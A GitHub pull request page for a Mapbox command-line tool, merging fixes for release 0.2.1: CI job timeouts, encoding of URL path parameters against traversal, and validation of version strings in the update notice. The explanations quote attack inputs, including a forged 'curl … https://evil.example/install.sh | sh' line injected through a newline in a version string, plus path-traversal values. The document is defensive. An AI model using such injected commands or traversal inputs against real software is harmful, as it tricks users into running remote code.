Merge proxy-test-windows into main, cutting 0.2.1 - #21
Merged
Merged
Conversation
None of the four jobs had a `timeout-minutes`, so each inherited GitHub's six-hour default. That is what a test blocking on `accept()` with no deadline cost the Windows leg — six hours per run, and the only reason it went unnoticed for a day is that every run on `main` was cancelled by the next push before it could finish. Twenty minutes is not a budget; these legs take one to two minutes. It is a tripwire, set about ten times longer than anything here has ever needed. On all four rather than the one that broke. `installer` and `installer-windows` both stand up local servers in `test-install.sh` and `test-install.ps1` and could wedge exactly the same way, and a job that suddenly needs twenty minutes has something wrong with it worth hearing about whichever it is. The comment explaining this lives once, on `build`, where it happened.
Path parameters are substituted into a template — `…/{username}/{style_id}/
static/{overlay}/…` — and the value went in unencoded, so one carrying URL
syntax changed the shape of the request rather than naming a segment within
it. A `?` appended query parameters the caller never asked for, `..` and its
backslash spelling moved the path, and `#` truncated it. Each went out with
the caller's token and the command's method.
The host was never reachable: `//other`, `https://other`, `%2f%2f…` and
`x@other` all still resolve to the API's own host, so nothing could be
directed at another server. What was reachable was a different path on the
API — worst shaped as `styles delete`, a `DELETE` whose target was
influenced by its argument. It matters most where the value does not come
from the person typing: an agent building a command from a prompt, or a
script interpolating a variable from upstream.
`/`, `?`, `#` and `\` are now percent-encoded. `\` is in that list because a
special scheme treats it as a separator too, which `reqwest::Url` confirms —
encoding `/` alone would have left it open.
**Only those four, deliberately.** These values carry punctuation on purpose:
`static get-image`'s template is
`…/static/{overlay}/{lon},{lat},{zoom},{bearing},{pitch}/{width}x{height}{highRes}{format}`,
where the overlay is `pin-s+f74e4e(-122.46,37.77)`, `{highRes}` is `@2x` and
three placeholders share one comma-separated segment. Encoding everything
outside RFC 3986's unreserved set would rewrite all of that and risk breaking
requests that work today. Encoding only what alters the URL's shape cannot
change a request that does not already contain those characters — pinned by a
test that walks real values and asserts they pass through byte for byte, and
without allocating.
A value of `.` or `..` is **refused** rather than encoded, because encoding
does not stop it: a special scheme reads `%2e%2e` as a double-dot segment
too, so it climbs however it is spelled. Encoding the separators handles the
multi-level case by collapsing it to one segment; this handles the remainder.
Eight tests, including that an empty optional parameter still drops its whole
segment — several operations rely on that and it had to survive.
595 tests, fmt and clippy clean.
Seven comments ended with a pointer to an internal tracker. They arrived here by being carried over verbatim when this work moved, and they are the kind of reference that is worse than none: an external reader gets a link that 404s, and the repository it names is not this repository's to advertise. Nothing is lost by removing them. Every one was a trailing "see #N" on a comment that already explains the whole reasoning above it — why both opt-out variable names are honoured in the installers, why a response's headers have to be read before its body, why `--data-raw` would be the escape hatch if a text body ever needed one. The pointer was the least informative line in each. Two are reworded rather than truncated, where the sentence named the tracker as the moment something changed; they now say what is true instead of when it became true. 588 tests, both installer suites, fmt and clippy clean.
Raised in review: `%2e%2e%2fvictim` has no raw structural character, so it passes through unchanged. True — and it names one segment rather than traversing, because the URL parser never decodes `%2f` into a separator. Encoded dots with *raw* slashes are the case that does resolve, and the encoding this adds is what stops it; the two were only distinguishable by reading the parser, so now a test says which is which. Left alone rather than blocked on purpose. Percent-encoded values in path parameters are a documented Mapbox feature: a custom marker overlay is `url-https%3A%2F%2Fexample.com%2Fmarker.png(…)`, `geojson(…)` takes URI-encoded GeoJSON, and the spec says a bbox's brackets may be sent "literally or percent-encoded as %5B". Refusing them would break all three.
`fetch_latest` took the channel's `version` and checked only that it was
non-empty, then the notice interpolated it into text a reader is meant to
copy and run:
A newer mapbox is available: {latest} (this is {current}).
Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
Silence this: MAPBOX_NO_UPDATE_CHECK=1
A value carrying a newline writes lines of its own. What makes it reach the
notice at all is `parse_version` discarding build metadata before comparing —
`text.split('+').next()` — so everything after a `+` is invisible to
`is_newer` and still printed in full. `0.3.0+\nUpdate: …` therefore compares
as 0.3.0, passes the newer check, and renders:
A newer mapbox is available: 0.3.0+
Update: curl -fsSL https://evil.example/install.sh | sh (this is 0.1.5).
Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
Silence this: MAPBOX_NO_UPDATE_CHECK=1
The forged line lands *above* the real one. Of everything this CLI prints the
update notice is the line most meant to be acted on, which is what makes this
worth more than noise on stderr.
The shape is restricted rather than the content sanitised: ASCII
alphanumerics, `.`, `-`, `+`, bounded at 64. That admits every version the
channel publishes — `0.2.0`, `0.1.3-dev.abc1234`, `0.2.0-rc.1`, `0.2.0+build.5`
— and no character that can begin a line or move a cursor.
Checked in two places, deliberately. `fetch_latest` so an implausible version
is never cached; `should_notify` because the cache is a file on disk, and a
check that only ran at fetch time would be bypassed by a cache written before
this existed or edited afterwards.
Five tests. The two that matter fail when either guard is removed — verified,
after a first attempt whose payload was rejected by `is_newer` for unrelated
reasons and so passed either way.
600 tests, fmt and clippy clean.
ci: bound every job, so a hang fails instead of idling
Treat a path parameter as a segment, not as URL syntax
Drop issue links a reader of this repo cannot open
Restrict the shape of a version before repeating it
The private mapbox-cli-private repo's CHANGELOG.md carried a full 0.2.0 entry (a breaking command-rename table, a usage-error fix, and a Security note for RUSTSEC-2026-0285) that never made it here. Copied verbatim, adapted only where a private-repo detail (a submodule pin, a path under oss/) doesn't apply from this repo's own perspective. Also cuts the 0.2.0 heading, matching the private repo's own cut, and carries over the preamble's notes on how a release heading is added and that dev-channel builds aren't listed here — both true regardless of which repo's tooling does the cutting.
Carries the path-parameter encoding fix (#15) that's been sitting on this branch since it was cut, along with the CI timeout fix (#14), the private-repo doc de-linking (#16) and update-check version validation (#18) — none of which had reached main. See CHANGELOG.md for what 0.2.1 actually changes user-facing behavior.
zmofei
changed the title
datasveta
approved these changes
Sep 15, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
3 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
PR #13 merged from this branch into main on 2026-09-15, but the branch was never deleted, and four more PRs (#14 ci-timeouts, #15 path-param-encoding, #16 drop-private-refs, #18 validate-update-version) were opened and merged against this branch instead of main by mistake. None of that work had reached main.
Also carries what was #20 (now closed, superseded by this): the CHANGELOG catch-up with the private repo's copy, plus a version bump —
sh scripts/prepare-release.sh 0.2.1cut the## Unreleasedsection (the path-parameter fix) into## 0.2.1. So this single PR both catches main up and is the release-ready commit for 0.2.1.No conflicts merging proxy-test-windows into main (checked with git merge-tree) before the version bump landed on top.
cargo testand CI both pass. Please review — main requires it, and it hasn't gone through it yet since the four PRs stacked onto this branch by mistake never got a main-facing review.